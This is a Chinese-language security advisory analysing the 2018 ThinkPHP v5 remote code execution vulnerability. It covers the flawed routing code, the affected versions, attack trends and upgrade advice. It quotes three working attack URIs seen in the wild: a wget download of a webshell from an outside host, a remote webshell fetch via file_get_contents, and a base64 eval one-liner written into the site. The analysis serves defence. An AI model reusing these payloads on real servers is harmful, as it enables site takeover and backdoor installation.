2018年12月10日,ThinkPHP v5系列发布安全更新,修复了一处可致使远程代码执行的严重漏洞。阿里云态势感知已捕获多起基于该漏洞的真实攻击,并对该漏洞原理以及漏洞利用方式进行分析。如今,对于云上未及时进行系统更新的用户,阿里云态势感知已提供攻击告警,WAF产品支持同步拦截,目前云上客户基本未受到影响。php
这次漏洞由ThinkPHP v5框架代码问题引发,其覆盖面广,且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多,须要格外关注。阿里云是仅有少数的捕获到该漏洞整个攻击链的云服务商。下面咱们对其漏洞背景,攻击原理和行为进行全面分析,并提供真实案列分析。web
漏洞分析thinkphp
因为ThinkPHP v5框架对控制器名没有进行足够的安全检测,致使在没有开启强制路由的状况下,黑客构造特定的请求,可直接进行远程的代码执行,进而得到服务器权限。shell
漏洞影响的版本安全
ThinkPHP v5.0系列 < 5.0.23服务器
ThinkPHP v5.1系列 < 5.1.31app
漏洞原理分析框架
经过对比ThinkPHP官方发布的漏洞修复说明,直接分析thinkphp解析路由调度的代码 /thinkphp/library/think/Route.php函数
parseUrlPath函数调用path函数并解析了pathinfo中的路由信息,函数中url直接用/切分,没有加任何过滤机制。测试
搜索pathinfo发现 //thinkphp/library/think/Request.php 定义了获取URL的pathionfo函数
咱们能够利用$_GET可控的值来进行命令注入。var_pathinfo的参数为s,因此能够直接构造命令注入的函数。
继续分析路由调度的代码app.php,经过'controller' 来执行控制器操做,实例化控制器,跟进controller方法
//thinkphp/library/think/Loader.php中,controller调用parseModuleAndClass方法,直接解析
漏洞复现:
咱们拿存在ThinkPHP v5远程代码执行漏洞的5.0.22版本进行复现测试。下图是咱们在存在该漏洞的主机上执行ls命令,能够拿到目录下的全部文件详情。
漏洞攻击真实案例
截至2018年12月11日,阿里云态势感知监控到的数据显示,黑客们利用该漏洞进行攻击的方式有不少,目前主要是以webshell为主,可能因为曝光PoC时间过短,不少黑产(如挖矿)都还没充分利用。对目前全部的webshell方式总结后,比较流行的有如下几种:
1. 利用该漏洞远程执行下载命令,经过wget远程下载一个webshell后门,执行命令从而得到服务器权限。
其攻击URI详情以下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget+-O+help.php+http%3a%2f%2ftzrj.host.smartgslb.com%2fhelp.php.txt "
经过执行wget命令:wget -O help.php tzrj.host.smartgslb.com/help.php.tx…,下载webshell。
下面是该webshell所具备的功能列表,以下图:
2. 利用file_get_contents和file_put_contents函数,远程下载webshell。
其攻击的URI详情以下:
"/?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('content.php',file_get_contents('jzy1115.host3v.vip'));"
该webshell所具有的功能详细以下图:
3. 利用file_put_contents函数 写入一句话webshell,其攻击的URI详情以下:
"/admin.php?s=admin/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=file_put_contents('./vendor/autoclass.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWyczNjB2ZXJ5J107ZXZhbCgkcGFzcyk7Pz4='))"
该命令行包含的base64加密字符串解码以下:
"<?php
该恶意代码将被写入到文件./vendor/autoclass.php中。
漏洞影响和攻击趋势
经过对网站信息数据的统计,咱们发现存在该漏洞的的网站占比约10%左右。而从阿里云态势感知监控到的数据显示,从2018-12-04开始至2018-12-11,被攻击的网站数据暴增。以咱们和漏洞利用攻击对抗的经验来看,该漏洞的利用攻击会出现更多变种,各个企业应尽快升级ThinkPHP的代码框架至最新版本,避免本身的网站被攻破,服务器沦陷为肉鸡。
下面是被攻击网站数量变化趋势,可看出该漏洞被曝光后迅速被大规模自动化利用。
**安全建议
**
阿里云安全专家提醒:ThinkPHP的v5.0.23和v5.1.31为安全版本,建议你们尽快升级框架至最新版原本修复此漏洞。对于未及时升级的用户请及时使用阿里云态势感知和WAF来抵御攻击,确保企业正常业务运行。